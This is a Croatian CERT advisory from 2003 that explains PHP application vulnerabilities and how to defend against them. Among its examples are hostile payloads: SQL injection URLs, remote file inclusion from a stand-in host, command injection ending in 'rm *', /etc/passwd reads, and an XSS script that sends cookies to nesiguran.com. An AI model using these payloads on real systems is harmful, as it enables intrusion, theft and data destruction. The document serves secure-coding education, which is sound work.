HRVATSKA AKADEMSKA I ISTRAŽIVAČKA MREŽA
CROATIAN ACADEMIC AND RESEARCH NETWORK

Sigurnosni problemi PHP aplikacija

CCERT-PUBDOC-2003-07-29

CARNet CERT u suradnji s LS&S

Sigurnosni problemi u računalnim programima i operativnim sustavima područje je na kojem CARNet CERT kontinuirano radi.

Rezultat toga rada ovaj je dokument koji je nastao suradnjom CARNet CERT-a i LS&S-a, a za koji se nadamo se da će Vam koristiti u poboljšanju sigurnosti Vašeg sustava.

CARNet CERT, www.cert.hr - nacionalno središte za **sigurnost računalnih mreža** i sustava.

LS&S, www.lss.hr - laboratorij za sustave i signale pri Zavodu za elektroničke sustave i obradbu informacija Fakulteta elektrotehnike i računarstva Sveučilišta u Zagrebu.

Sadržaj

1. Uvod

Dok su bogatstvo jezika mnogim funkcijama i jednostavnost sintakse glavni razlog povećanog broja PHP aplikacija koje se odvijaju na Web poslužiteljima, to je istovremeno i uzrok postojanja vrlo velikog broja loše napisanih aplikacija u PHP jeziku. Karakteristike jezika privlače korisnike koji ne razumiju u potpunosti sigurnosne implikacije koda koji pišu. Kada se uzme u obzir da je primarni cilj PHP jezika upravo jednostavnost i brzina razvoja aplikacija, jasno je zašto dolazi do prilično velikog broja potencijalnih ranjivosti. Važno je napomenuti da je uklanjanje ovih ranjivosti tim bitnije, kada je poznato da putem ranjivih PHP aplikacija maliciozni korisnik može nanijeti štetu cijelom sustavu na kojem se aplikacija pokreće.

U ovom dokumentu dan je pregled osnovnih sigurnosnih propusta u PHP aplikacijama, kako propusta zbog načina rada interpretera, tako i zbog načina programiranja samih skripti. Na kraju dokumenta bit će prezentirani načini na koje je moguće poboljšati sigurnost PHP aplikacija i sustava na kojima se one odvijaju.

Dokument je strukturiran na sljedeći način:

- Poglavlje 1 opisuje namjenu i strukturu dokumenta;
- Poglavlje 2 opisuje načine rada PHP interpretera i specifične probleme vezane uz njih;
- Poglavlje 3 daje pregled potencijalnih ranjivosti PHP aplikacija;
- Poglavlje 4 prezentira moguće načine zaštite PHP aplikacija i sustava;
- Poglavlje 5 sadrži zaključak.

2. Načini izvođenja PHP interpretera

PHP programski paket moguće je na strani poslužitelja instalirati ili kao CGI interpreter ili kao integrirani Apache modul. Bez obzira o kojoj se vrsti instalacije radi, PHP interpreter može pristupiti gotovo svim dijelovima poslužitelja: datotekama sustava, mrežnim sučeljima itd. Posljedica ovog je potencijalna prijetnja od samog interpretera.

Specifični sigurnosni problemi postoje i s obzirom na način izvođenja PHP aplikacija te će biti ukratko opisani u ovom poglavlju.

Ovisno o kojem se tipu instalacije radi razlikovati će se i način procesiranja `php.ini` konfiguracijske datoteke. Radi se o datoteci koja sadrži sve konfiguracijske postavke i direktive, te je vrlo važna za podizanje sigurnosnog nivoa poslužitelja. U slučaju instalacije PHP programskog paketa kao integriranog Apache modula, `php.ini` konfiguracijska datoteka procesira se samo jednom, dok se kod instalacije kao CGI interpretera, datoteka procesira za svaku PHP skriptu koja se pokreće.

2.1. PHP kao CGI aplikacija

U slučajevima kada se PHP ne želi instalirati kao Apache modul, instalira se kao izvršna binarna datoteka. Ovakve postavke uobičajeno zahtijevaju da izvršna PHP datoteka bude smještena u `cgi-bin` direktoriju Web poslužitelja. Svi programi smješteni u ovom direktoriju mogu se izvoditi sa proizvoljnim argumentima. Iz tog razloga potrebno je pažljivo dizajnirati programe tako da oni izvode samo željene akcije, bez obzira na argumente. Kod PHP interpretera to dovodi do dodatnih problema, jer se njegovo izvođenje upravo bazira na argumentima.

Prilikom ovakvog tipa instalacije mogući su sljedeći napadi:

- Pristup sistemskim datotekama:

  `http://poslužitelj/cgi-bin/php?/etc/passwd`

  Upit sadržan u URL adresi iza znaka upitnik (?) predaje se interpreteru kao argument iz naredbene linije. Uobičajeno je da interpreter otvori i izvrši datoteku navedenu kao prvi argument iz naredbene linije. Prilikom dizajniranja PHP interpretera ovakav napad je onemogućen na sljedeći način: ukoliko se PHP interpreter poziva kao CGI skripta, on odbija interpretirati argumente proslijeđene iz naredbene linije.
- Pristup Web dokumentima na poslužitelju:

  `http://poslužitelj/cgi-bin/php/tajni_dokumenti/doc.html`

Dio URL upita koji sadrži informaciju o stazi dokumenta služi za specificiranje datoteke koja će biti otvorena i interpretirana od strane CGI skripte. Konfiguracijske direktive Web poslužitelja uobičajeno preusmjeravaju zahtjeve za dokumentima `http://poslužitelj/tajni_dokumenti/skripta.php` PHP interpreteru. Web poslužitelj prvo provjerava ovlasti pristupa traženom direktoriju `/tajni_dokumenti` te tek onda stvara preusmjereni zahtjev `http://poslužitelj/cgi-bin/php/tajni_dokumenti/skripta.php`. Međutim, ako je zahtjev originalno zadan u navedenoj formi, ovlasti pristupa se ne provjeravaju za `tajni_dokumenti/skripta.php`, već samo za `cgi-bin/php` direktorij. Na ovaj način, svaki korisnik koji ima pristup `cgi-bin/php` direktoriju u mogućnosti je pristupiti zaštićenim dokumentima na strani poslužitelja.
Kako bi se omogućila zaštita od ovakvog tipa napada, prilikom prevođenja interpretera ponuđena je konfiguracijska opcija `--enable-cgi-bin-redirect`, te konfiguracijske direktive za vrijeme izvođenja `doc_root` i `user_dir`.

2.2. PHP kao Apache modul

Prilikom korištenja PHP interpretera kao Apache modula, on nasljeđuje ovlasti korisnika koje su postavljene na Apache poslužitelju (uobičajeno je da se radi o korisniku *˝nobody˝*). Ovo može imati utjecaja na sigurnost i autorizaciju. Ukoliko PHP interpreter pristupa bazi podataka, a sama baza ne posjeduje ugrađeni mehanizam kontrole pristupa, potrebno je korisniku *˝nobody˝* omogućiti pristup bazi podataka. Sada je moguće da maliciozna skripta pristupi bazi i izmjeni ju, čak i bez korisničkog imena i zaporke. Protiv ovakvih napada moguće je zaštiti se pomoću Apache autorizacije, ili ostvariti vlastitu kontrolu pristupa korištenjem LDAP-a, `.htaccess` datoteka, itd. te potom uključiti taj dio koda u samu aplikaciju.
Bitno je napomenuti pogodnost koju ovakav tip instalacije nosi sa sobom. Konfiguracijske postavke se mogu mijenjati kroz uporabu `httpd.conf` i `.htaccess` datoteka, lokalno u svakom direktoriju u kojem se skripte nalaze. Ovo omogućava dodjeljivanje različitih ovlasti i restrikcija različitim grupama skripti.

3. Propusti u PHP aplikacijama

Iako PHP interpreter može biti izvor sigurnosnih problema, glavne slabosti PHP jezika su upravo programeri i Web dizajneri koji ugrožavaju sigurnost svojih aplikacija lošim kodom. Dok je za uklanjanje sigurnosnih propusta u PHP interpreteru dovoljno redovito pratiti sigurnosna upozorenja i instalirati odgovarajuće sigurnosne zakrpe, za minimiziranje sigurnosnih propusta u samom kodu moraju se razumjeti osnovni sigurnosni problemi koji proizlaze iz nepažljivog i površnog programiranja. Poznavanje tipičnih sigurnosnih propusta i načina njihovog iskorištavanja uvelike može pridonijeti poboljšanju sigurnosti PHP aplikacija. One će biti iznesene u ovom poglavlju.

3.1. Globalne varijable

Najuobičajeniji i često najozbiljniji sigurnosni nedostatak PHP skripti i Web aplikacija je upravo slaba provjera korisničkog unosa. Često je slučaj da se informacija dobivena od korisnika kroz Web forme upotrebljava u daljnjem procesiranju. Ukoliko se toj informaciji slijepo vjeruje, korisnik je u mogućnosti prouzročiti neželjeno ponašanje skripti i same platforme na kojoj se skripta pokreće.
U kombinaciji s činjenicom da PHP registrira sve varijable u globalnom dosegu, potencijalni sigurnosni rizik još je veći. Varijable u PHP jeziku ne moraju biti deklarirane, one se automatski stvaraju prilikom prve upotrebe. Tip varijable isto nije potrebno odrediti, već se on bazira na kontekstu u kojem je varijabla korištena. Iz perspektive programera ovo je vrlo korisna opcija PHP jezika. Nakon što je varijabla kreirana, ona se može pozivati bilo gdje iz programa. Posljedica ovoga je vrlo rijetka inicijalizacija varijabli od strane programera.
Iz upravo navedenih razloga moguća je sljedeća situacija:

```
<?php
            if (autentikacija_korisnika()) {
                $auth = true;
```

```
                }
                ...
                if (!$auth) {
                        die("Potrebna je autorizacija!");
                }
                else
                        echo "Neka važna informacija…";
    ?>
```

U upravo navedenom primjeru, kroz autentikaciju korisnika obavit će se provjera zaporke. Ukoliko je zaporka točna, postavit će se varijabla `$auth` koja specificira da je korisnik autoriziran za čitanje neke važne informacije. Napadač može metodom GET postaviti varijablu na željeni iznos:

`http://poslužitelj/admin.php?auth=1`

Iako napadač nije prošao fazu autentikacije, varijabla je postavljena, a to je dovoljno da skripta povjeruje da se radi o autoriziranom korisniku.

Od inačice 4.2.0, PHP direktiva `register_globals` u `php.ini` datoteci, koja je zadužena za ubacivanje varijabli u skripte, je inicijalno isključena. Da bi se pomoglo korisnicima prilikom izrada PHP aplikacija, dok je `register_globals` isključen, razvijena su specijalna polja (engl. *Superglobal Arrays*) koja su globalno dostupna i sadrže varijable Web poslužitelja, korisnički unesene varijable i varijable okoline. To su polja: `$_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_REQUEST i $_SESSION`. Na primjer, da bi se pristupilo vrijednosti varijable `id` u upitu `http://www.primjer.com/ test.php?id=1`, ne koristi se `$id`, već `$_GET['id']`.

3.2. Varijable okoline

U mnogim situacijama PHP skripte trebaju informacije sadržane u varijablama okoline. Pri početku svog izvođenja, skripte nemaju kontrolu nad sadržajem tih varijabli.

Neovlašteni korisnik može modificirati stazu koja će voditi do trojanske verzije programa kojeg skripta želi pozvati, ili čak datoteke koja se želi otvoriti iz skripte. Ovo je jednostavan način koji napadaču omogućuje pokretanje neželjenog koda na sustavu.

Još jedan primjer pri kojem se može iskoristiti slaba vjerodostojnost varijabli okoline je slučaj u kojem se dopušta pristup osjetljivom sadržaju na temelju veze (engl. *link*) s koje korisnik dolazi. Ovakav tip autenticiranja vrlo je nesiguran. Naime, u ovakvoj situaciji provjerava se `$HTTP_REFERER` varijabla da bi se odredilo od kuda korisnik dolazi. Kako je ta informacija dostupna samo kroz Web pretraživač, ništa ne sprječava korisnika od dodjeljivanja proizvoljne vrijednosti toj varijabli.

Ukoliko informacija i ne dolazi od strane korisnika, varijablama okoline se ne može u potpunosti vjerovati. Napadač može iskoristiti neku drugu aplikaciju da bi došao do stoga sustava, na kojem se varijable okoline uglavnom nalaze pri samom dnu, te ih modificirati. To za posljedicu ima nesigurne PHP skripte koje slijepo vjeruju tim varijablama.

Varijable okoline se od korisničkog unosa, sa sigurnosnog stajališta, ne razlikuju mnogo. U oba slučaja radi se o nepoznatom izvoru informacija koji potencijalno može biti opasan. Njihovo korištenje je potrebno minimizirati kad god je to moguće, te provjeravati i filtrirati njihov sadržaj ukoliko su neophodne. Korisno je redefinirati sve varijable okoline koje će biti u uporabi u skripti, radi povećanja stupnja sigurnosti.

3.3. Interakcije s bazom podataka

PHP komunicira s raznim bazama podataka jednostavnom uporabom skripti. Ovakva interakcija može predstavljati sigurnosni problem. Vrlo često upiti namijenjeni bazi podataka se slažu pomoću informacija koje korisnik unosi u Web forme.

```
    <?php
                if ($obnovi_tablicu) {
                        $db->query('Update $tablica set ime=$ime');
                }
    ?>
```

U ovom primjeru PHP skripta mijenja podatke u tablici u ovisnosti o podacima dobivenim kroz formu. Na početku se provjerava da li je forma poslana, te ukoliko jest, mijenja se tablica koju je korisnik

odabrao. Ako se ne provjerava varijabla `$tablica`, kojoj se vrijednost pridjeljuje na temelju korisničkog unosa, te ako se ne provjerava da li je zaista varijabla `$obnovi_tablicu` došla putem forme (upotrebom prije spomenutih polja `$_POST['obnovi_tablicu']`), varijable se mogu postaviti putem metode GET na željene vrijednosti. Mogući upit bio bi:

```
http://www.primjer.com/editiraj.php?obnovi_tablicu=1&tablica=korisnici+set+zaporka%3Dabcd+where+korisnik%3D%27+administrator%27%23
```

Što će rezultirati SQL upitom:

```
UPDATE korisnici SET zaporka=abcd WHERE korisnik='admin' # SET ime=$ime
```

Jasno je vidljivo da će ovakav upit korisniku "admin" promijenit vrijednost zaporke u napadaču poznati izraz.

U sljedećem primjeru, skripta autenticira korisnika kroz korisničko ime i zaporku unesenih u formu:

```
<?php
     $query = ('select * from korisnici where username =
$username
                         and zaporka = $zaporka);
            if (zapis_postoji($query)) {
                    echo 'Dozvoljen pristup';
            }
            else
                    echo 'Zabranjen pristup';
?>
```

Ukoliko se ovom kodu pristupi na sljedeći način:

```
http://www.primjer.com/test.php?username=admin&zaporka=a%27+OR+1%3Di%271,
```

uvjetni dio postaje: `zaporka='a' OR 1='1'`

Ovakav problem se može izbjeći korištenjem `magic_quotes_gpc` varijable u `php.ini` datoteci. Ukoliko je ova varijabla postavljena, PHP će izbaciti navodnike iz GET i POST podataka. Međutim, ova varijabla vrlo često nije postavljena iz razloga što se ostali, regularni dijelovi koda mogu ponašati neuobičajeno.

3.4. Pridružene datoteke

PHP omogućava pridruživanje lokalnih i udaljenih datoteka uz pomoć `include()`, `include_once()`, `require()` i `require_once()` funkcija. Ove funkcije kao argument uzimaju naziv datoteke, te ih parsiraju kao PHP kod. Ova odlika dozvoljava odvajanje datoteka koje služe za klase, kod koji se često koristi itd. Uvelike pomažu i pri održavanju i čitljivosti PHP koda.

Koncept pridruživanja udaljenih datoteka je vrlo opasan, jer dozvoljava ubacivanje nepoznatog i moguće opasnog koda direktno u PHP skripte.

U sljedećem primjeru pridruživanje datoteke ovisi o korisničkom unosu. Skripta ima više HTML datoteka te se kroz varijablu `$stranica` vrši njihovo prikazivanje ovisno o odabranom redoslijedu:

```
<?php
            include($stranica);
?>
```

Preko GET metode, varijabla `$stranica` se može postaviti na željenu vrijednost malicioznog korisnika:

```
http://www.primjer.com/okvir.php?stranica=/etc/passwd
```

ili,

```
http://www.primjer.com/okvir.php?stranica=http://nepoznato.com/kod.html,
```

pri čemu `kod.html` sadrži nekoliko linija koda koji mogu biti štetni na strani poslužitelja:

```
<?php
            passthru('rm *');
?>
```

U sljedećem primjeru pridružena datoteka ne bi trebala ovisiti o korisničkom unosu. Varijabla `$libdir` sadrži informaciju o direktoriju u kojem su smještene biblioteke, te se postavlja negdje ranije u kodu:

```
<?php
        include ($libdir . 'stil.php');
?>
```

Napadač može kroz djelovanje na varijablu `$libdir` promijeniti stazu u kojoj će PHP interpreter tražiti datoteku `stil.php`. Napadač sada ima pristup datoteci `stil.php`, ukoliko je promijenio stazu tako da ona pokazuje na njegov lokalni sustav http://www.nepoznato.com. Potrebno je napraviti datoteku `stil.php` i u nju zapisati kod koji se želi izvesti na udaljenom poslužitelju. Kao primjer može poslužiti sljedeći dio koda:

```
<?php
        passthru("/bin/ls /etc/passwd");
?>
```

Prilikom nailaska na funkciju `include()`, PHP interpreter će poslati HTTP zahtjev na adresu `www.nepoznato.com`, dohvatiti kod kojeg je napadač pripremio i izvršiti ga, što će uzrokovati izlistavanje datoteke `/etc/passwd` na zaslonu Web pretraživača napadača.

3.5. Biblioteke

Funkcije `include()` i `require()` će bilo koju datoteku navedenu kao argument tretirati kao PHP kod. One podržavaju koncept biblioteka koda. Uobičajeni i česti dijelovi koda se mogu pohraniti u zasebne datoteke te se pri svakoj potrebi aplikacije za tim kodom pomoću ovih funkcija mogu ubaciti u aplikaciju.

Prilikom razvoja i distribuiranja PHP aplikacija nastala je uobičajena praksa razlikovanja biblioteka i glavnog koda aplikacije upotrebom različitih ekstenzija za biblioteke. Naime, one su posjedovale ".inc" ekstenziju. Brzo je otkriveno da je to loš potez iz razloga što PHP interpreter upravo iz ekstenzije datoteke određuje što će biti parsirano kao PHP kod, a što ne. Odabir ekstenzija koje će biti interpretirane kao PHP kod provodi administrator kroz konfiguracijske datoteke. Uobičajena kombinacija je ".php", ".php3" i ".php4". U takvom slučaju, datoteke sa ostalom ekstenzijom, koje se pozovu sa Web poslužitelja, vraćaju se u izvornom kodu, bez prethodnog parsiranja. Ovo može biti veliki problem sa osjetljivim konfiguracijskim podacima, kao što su podaci potrebni za spajanje na bazu podataka.

Rješenje koje se samo nameće, i koje je ujedno i postalo najčešće u praksi, je postavljanje ekstenzije svake datoteke na onu koju PHP prihvaća za parsiranje. Ovo sprječava da se, na zahtjev Web poslužitelju, vraća izvorni kod bez prethodnog interpretiranja. Ovdje se javlja novi problem, koji napadaču omogućuje izvršenje nekog koda van svog konteksta. Datoteka namijenjena za korištenje kroz poziv `include()` funkcije u drugoj datoteci, može biti savršeno sigurna, međutim, ukoliko i ona posjeduje ".php" ekstenziju, napadač ju može zahtijevati od Web poslužitelja i izvesti van njenog namijenjenog konteksta. U ovakvom slučaju i ona postaje potencijalni izvor opasnosti.

3.6. Sjedničke datoteke

Nakon inačice 4, PHP podržava sjednice. Njihova glavna namjena je spremanje važnih informacija prilikom prolaska kroz Web stranice PHP aplikacije. Prilikom prijave na Web stranicu, informacija da je korisnik prošao fazu autentikacije može biti pohranjena u sjedničkoj datoteci. Prilikom kretanja kroz Web sadržaj aplikacije, ta informacija je dostupna svim ostalim PHP stranicama. Pri startu sjednice generira se slučajan broj koji služi kao identifikacijska oznaka sjednice. Sjednica traje dok god udaljeni Web pretraživač prosljeđuje ovu oznaku. Ovo se najjednostavnije postiže upotrebom kolačića, ali se može ostvariti i pomoću postojanja varijable na svakoj Web stranici.

Sjednica čuva sve varijable, dok PHP aplikacija odlučuje o registriranju pojedine varijable u sjednici. Vrijednost te varijable se pohranjuje u sjedničkoj datoteci na kraju izvođenja svake PHP skripte, i ponovo postavlja prilikom pokretanja svake skripte. Sljedeći primjer prikazuje registriranje sjedničke varijable:

```
<?php
        session_destroy();
```

```
                $session_var = "ime_korisnika";
                session_register("session_var");
    ?>
```

Svaka sljedeća skripta će automatski varijablu `$session_var` imati postavljenu na vrijednost "`ime_korisnika`". Ako ju neka skripta modificira, skripte nakon nje će zaprimiti promijenjenu vrijednost. Ovo je vrlo korisna funkcionalnost u Web okruženju, međutim potrebno je biti vrlo oprezan prilikom njenog korištenja.

Jedan od mogućih problema je upravo vjerovanje da varijabla zaista dolazi iz sjednice, a da nije postavljena od strane korisnika. Moguće je da se na temelju sjedničke varijable dozvoljava pristup nekom osjetljivom dijelu aplikacije. Za uspješno izvođenje ovakvog tipa napada, napadač će morati kroz upotrebu forme modificirati sadržaj sjedničke varijable prije nego što se ona registrira u sjednici, jer jednom kada je varijabla registrirana u sjednici, ona poništava sve vrijednosti dobivene kroz formu.

3.7. Pozivi vanjskih programa

Izvođenje vanjskih programa sa imenima ili argumentima specificiranih od korisnika je najbolja ilustracija direktne štete koju neovlašteni korisnik može izazvati. Funkcije koje se koriste prilikom poziva vanjskih programa su sljedeće:

- `exec()` – Izvodi naredbu u argumentu i vraća zadnju liniju izlaza programa;
- `passthru()` – Izvodi naredbu u argumentu i vraća sav generirani izlaz programa direktno u udaljeni Web pretraživač;
- `` ` ` `` (engl. *Backticks*) - Izvodi naredbu i vraća sav generirani izlaz u polje;
- `system()` – Kao i `passthru()`, ali ne podržava binarne podatke;
- `popen()` – Izvodi naredbu u argumentu i spaja izlaz na PHP opisnik datoteke.

Nekad je poziv vanjskih programa neophodan u PHP skriptama, međutim ove funkcije predstavljaju vrlo visok sigurnosni rizik u kombinaciji s korisničkim unosom. U uputama za PHP jezik, koje se odnose na ove funkcije, stoji upozorenje da ukoliko se funkcijama predaju korisnički uneseni podatci, potrebno je koristiti `escapeshellarg()` ili `escapeshellcmd()` funkcije.

Poziv poput `system($unos_korisnika)` je nesiguran jer dozvoljava korisniku da izvodi proizvoljne naredbe na Web poslužitelju. Nadalje, poziv poput `exec('´program´', $arg_korisnika)` dozvoljava korisniku upotrebu znakova koji imaju specijalno značenje naredbenoj ljusci. Ovakvi pozivi su vrlo opasni jer PHP uvijek prosljeđuje ovakve nizove izravno naredbenoj ljusci.

U sljedećem primjeru prikazano je nesigurno korištenje `popen()` funkcije:

```
    <?php
        $f = popen(' /usr/sbin/sendmail -i '. $to, 'w');
    ?>
```

Korisnik može kontrolirati sadržaj varijable `$to` kroz sljedeći upit:

```
http://www.primjer.com/posalji.php?to=korisnik%40nesiguran.com+%3C+%
2Fpass wd%3B+rm+%2A
```

Što rezultira pokretanjem sljedeće naredbe:

```
/usr/sbin/sendmail -i korisnik@nesiguran.com /etc/passwd; rm *
```

Kreativniji maliciozni korisnik može čak napisati i virus te ga na ovaj način ubaciti u sustav.

Rješenje ovog problema je pažljivo filtriranje korisničkog unosa prije predavanja naredbenoj ljusci. Upravo zato je neophodno korištenje `escapeshellarg()` i `escapeshellcmd()` funkcija. Konkretno rješenje prethodnog primjera bilo bi:

```
    <?php
        $f = popen(' /usr/sbin/sendmail -i '.
escapeshellarg($to),'w');
    ?>
```

3.8. *Upload* datoteka

Korisnički *uploadane* datoteke mogu biti problematične zbog načina na kojeg ih PHP interpreter obrađuje. Sljedeća forma će korisniku Web pretraživača dozvoliti da odabere lokalno smještenu datoteku, koja će se pritiskom na "posalji" poslati na udaljeni Web poslužitelj:

```
<FORM METHOD="POST" NAME="upload_datoteka">
<INPUT TYPE="FILE" NAME="imeDat">
<INPUT TYPE="HIDDEN" NAME="max_velicina_datoteke" VALUE="10240">
<INPUT TYPE="SUBMIT" NAME="posalji">
</FORM>
```

Iako je ovo je vrlo korisna funkcionalnost, ponašanje PHP-a čini ovu akciju vrlo opasnom. Prilikom zaprimanja zahtjeva, prije nego što se pokrene PHP skripta pozvana ovom akcijom, PHP će automatski prihvatiti datoteku. Tek nakon toga će PHP provjeriti da li je datoteka dozvoljene veličine definirane u varijabli `$max_velicina_datoteke` i maksimalnu dozvoljenu veličinu datoteka definiranu u PHP konfiguracijskoj datoteci. Ako ovi testovi uspješno prođu, datoteka poslana od korisnika će se sačuvati na lokalnom disku u privremenom direktoriju.

Kroz ovakvo procesiranje *uploadanih* datoteka PHP omogućava da udaljeni korisnik pošalje proizvoljnu datoteku na poslužitelj na kojemu je instaliran PHP programski paket. Prije nego što skripta odluči da li će prihvatiti datoteku ili ne, ona je već pohranjena na lokalnom disku.

Napadi poput uskraćivanja računalnih resursa (engl. *Denial of Service – DoS*) pomoću korištenja ove funkcionalnosti vrlo su ograničeni ako ne i u potpunosti nemogući. Međutim, ova specifičnost PHP-a može se iskoristiti na drugačiji način koji je jednako opasan.

Datoteka je primljena i pohranjena na lokalnom disku u direktoriju namijenjenom za *uploadane* datoteke, koji je specificiran u konfiguracijskoj datoteci. Uobičajeno je da je to direktorij `/tmp`, dok se naziv datoteke slučajno generira. PHP skripti su potrebne informacije o datoteci kako bi ju mogla obraditi. Ovo je moguće obaviti na dva načina. Jedan je u upotrebi kod ranijih inačica PHP-a 3, dok je drugi način predstavljen nakon što je otkriven mogući napad koji će ovdje biti opisan, iz razloga što mnoge skripte koriste staru metodu i vrlo su ranjive na ovakav tip napada.

PHP postavlja globalne varijable da bi opisao *uploadanu* datoteku. Koristeći gore navedeni primjer one će izgledati ovako:

```
$imeDat = Ime datoteke na lokalnom disku (npr. "/tmp/phpGSdpkD")
$imeDat_size = Veličina izražena u oktetima (npr. 1024)
$imeDat_type = Tip uplodane datoteke (npr. "text/plain")
$imeDat_name = Originalni naziv datoteke na udaljenom sustavu
(npr. "c:\\dir\\datoteka.txt")
```

PHP skripta će započeti obrađivati datoteku lociranu u varijabli `$imeDat`. Kako je već spomenuto, udaljenom korisniku ne predstavlja nikakav problem izmijeniti sadržaj globalnih varijabli. Sljedeći upit:

```
http://www.primjer.com/obrada.php?imeDat=/etc/passwd&imeDat_size=102
40&ime  Dat_type=text/plain&imeDat_name=zaporka.txt
```

rezultira postavljanjem varijabli na sljedeće vrijednosti:

```
$imeDat = "/etc/passwd"
$imeDat_size = 10240
$imeDat_type = "text/plain"
$imeDat_name = "zaporka.txt"
```

Ovakav unos u Web formu će proizvesti upravo onakve varijable kakve očekuje PHP skripta. Međutim, umjesto obrade *uploadane* datoteke skripta će raditi na `/etc/passwd` datoteci, rezultirajući ispisom njenog sadržaja. Ovakav napad neovlaštenim korisnicima omogućuje dolazak do povjerljivih korisničkih informacija te stoga predstavlja iznimno visok sigurnosni rizik..

Novije verzije PHP-a pružaju sigurnije metode za provjeru *uploadane* datoteke. Postoje brojne funkcije koje mogu riješiti ovaj problem, kao na primjer `is_uploaded_file()` funkcija koja provjerava da li se zaista radi o datoteci koja je *uplodana*. Ove metode u potpunosti rješavaju gore navedene probleme, no mnoge skripte ih ne koriste, tako da su i dalje ranjive na ovaj tip napada.

Upload datoteke pruža i alternativni način napada. Ako u PHP skriti postoji dio koda koji čita sadržaj neke datoteke, kao poziv `include($imeDat)`, te ako je napadač u stanju kontrolirati sadržaj

`$imeDat` varijable, on je u mogućnosti čitati bilo koju datoteku na udaljenom sustavu. U ovom slučaju cilj napadača je izvođenje naredbi na udaljenom Web poslužitelju. Ukoliko se provjerava pomoću funkcije `file_exsits($imeDat)`, da li datoteka postoji na lokalnom disku, napadač ne može čitati i izvoditi naredbe na udaljenom sustavu. *Upload* datoteke ovdje pomaže napadaču. Napadač lokalno stvara datoteku sa naredbom koja se želi izvesti na Web poslužitelju, kao npr. `passthru("/etc/passwd")`. Kreira Web formu čiji polje datoteke naziva `$imeDat`, i iskorištava ovu formu da bi pomoću *uploada* datoteke poslao datoteku Web poslužitelju. PHP će pohraniti datoteku i postaviti `$imeDat` na lokaciju upravo pohranjene datoteke na lokalnom disku. Funkcija `file_exsits()` sada uspješno prolazi i dozvoljava izvođenje funkcije `include()`.
Uz mogućnost izvođenja naredbi na udaljenom Web poslužitelju, napadač bi mogao iskoristiti razne vrste napada koje zahtijevaju alate potrebne za njihovo izvođenje, koji originalno nisu smješteni na Web poslužitelju. Pomoću funkcionalnosti *uploada* datoteke, napadač može pohraniti potrebne alate na Web poslužitelju, iskoristiti mogućnost da na njemu izvodi naredbe, te pomoću `chmod()` naredbe promijeniti namjenu datoteke i izvršiti ju.
Prilikom *uploada* datoteka, funkcije koje mogu pomoći su `move_uploaded_file()` i `is_uploaded_file()`, dok je jedno od rješenja i korištenje već spomenutog specijalnog polja `$_FILE` za provjeru informacija o *uploadanoj* datoteci.

3.9. Cross Site Scripting

Web stranice postaju sve kompleksnije, nudeći sve više dinamičkog sadržaja korisniku. Dinamički sadržaj se postiže upotrebom Web aplikacija koje mogu prezentirati drukčiji sadržaj u ovisnosti o korisničkim potrebama. PHP aplikacije spadaju u tu grupu. Dinamičkim Web stranicama, pa tako i PHP aplikacijama, prijeti posebna vrsta napada, koja ne ugrožava statičke stranice, pod nazivom *Cross Site Scripting* (CSS).
CSS je tip napada u kojem neovlašteni korisnik preko legitimnog Web poslužitelja može pribaviti osjetljive podatke drugih korisnika istog poslužitelja. CSS ne predstavlja prijetnju samom poslužitelju, on potencijalno dozvoljava malicioznom korisniku da preuzme interakciju između poslužitelja i korisnika. Ovaj problem se ne može definirati kao problem poslužitelja ili klijenta, on je rezultat nepredviđene i neočekivane interakcije različitih komponenti kompleksnih sustava.
Napad se odvija na način da napadač, kroz propuste u samoj skripti, preko Web poslužitelja korisniku (koji je meta napada) pošalje stranicu koju je korisnik i zahtijevao, međutim, koja je ujedno i zaražena malicioznom skriptom. Maliciozna skripta se tada pokreće uz ovlasti legitimne skripte odaslane sa legitimnog Web poslužitelja.
Kroz sljedeći primjer prikazati će se mogući propusti u PHP aplikacijama koji dozvoljavaju CSS napade. Pretpostavka je da je korisnik prošao fazu autentikacije i sjednica je započeta, tako da korisnik posjeduje valjani sjednički kolačić. Korisnik upotrebljava Web aplikaciju namijenjenu pregledavanju elektroničke pošte. Ukoliko se prilikom ispisa naslova svake pojedine poruke elektroničke pošte, on ispisuje bez provjeravanja, postoji mogućnost CSS napada. Dio skripte namijenjen za ispis je:

```
<?php
                …
                echo ″<TD>″. $naslov. ″</TD>″;
?>
```

U ovom slučaju napadač može naslovu poruke elektroničke pošte pridružiti java skriptu koja je dizajnirana da otuđi korisnički kolačić. Kada korisnik zatraži stranicu koja ispisuje poruke elektroničke pošte, skripta će se automatski pokrenuti i preusmjeriti korisnika na URL adresu specificiranu u skripti, zajedno sa kolačićem. Napadač mora provjeriti zapise koji su pristigli na ovakav načini i može preuzeti korisničku sjednicu. Java skripta koja bi omogućila upravo opisan način napada može izgledati ovako:

```
<script>
self.location.href=http://www.nesiguran.com/getCookie?cookies=+esc
ape
(document.cookie)
</script>
```

Ovakva ranjivost bi se mogla ispraviti upotrebom `htmlspecialchars()` funkcije, koja konvertira specijalne znakove u HTML entitete. U ovom konkretnom primjeru, konvertirat će znakove < i > u

njihove odgovarajuće entitete: `&lt` i `&gt`. Prilikom učitavanja Web stranice ništa se neće dogoditi jer će ovi entiteti korisnikovom Web pretraživaču značiti jasni tekst a ne specijalne znakove.

4. Načini zaštite PHP aplikacija

Napadi navedeni do sada rade uspješno na različitim inačicama instalacije PHP interpretera. Iako se radi o velikom broju napada koji mogu nanijeti štetu, PHP omogućava vrlo velik broj konfiguracijskih opcija pomoću kojih se PHP aplikacija može uspješno obraniti. Međutim, uključivanjem nekih opcija, programiranje u PHP jeziku može se uvelike može otežati. Zato je PHP skripte potrebno zaštititi pažljivom kombinacijom odabranih konfiguracijskih postavki i praksom sigurnog programiranja.
Na temelju svih slabosti koje su upravo navedene, u ovom će poglavlju biti dane preporuke i pravila koja će pomoći pri izbjegavanju neželjenih situacija.

4.1. Siguran način rada

U PHP konfiguracijskoj datoteci moguće je podesiti izvođenje PHP interpretera u sigurnom načinu rada (engl. *Safe Mode*). To se postiže postavljanjem `safe_mode` direktive na vrijednost "`on`" u `php.ini` datoteci. U ovom načinu rada izvođenje skripti se odvija u ograničenom okruženju, kako bi se smanjila potencijalna šteta koja može biti nanesena nesigurnim aplikacijama.
Direktiva `safe_mode_exec_dir` specificira direktorij iz kojeg se skripte mogu pozivati. PHP neće izvoditi niti jednu skriptu koja nije smještena u taj direktorij, štoviše, PHP neće niti dozvoliti da se pozove bilo koji drugi program koji nije u navedenom direktoriju.
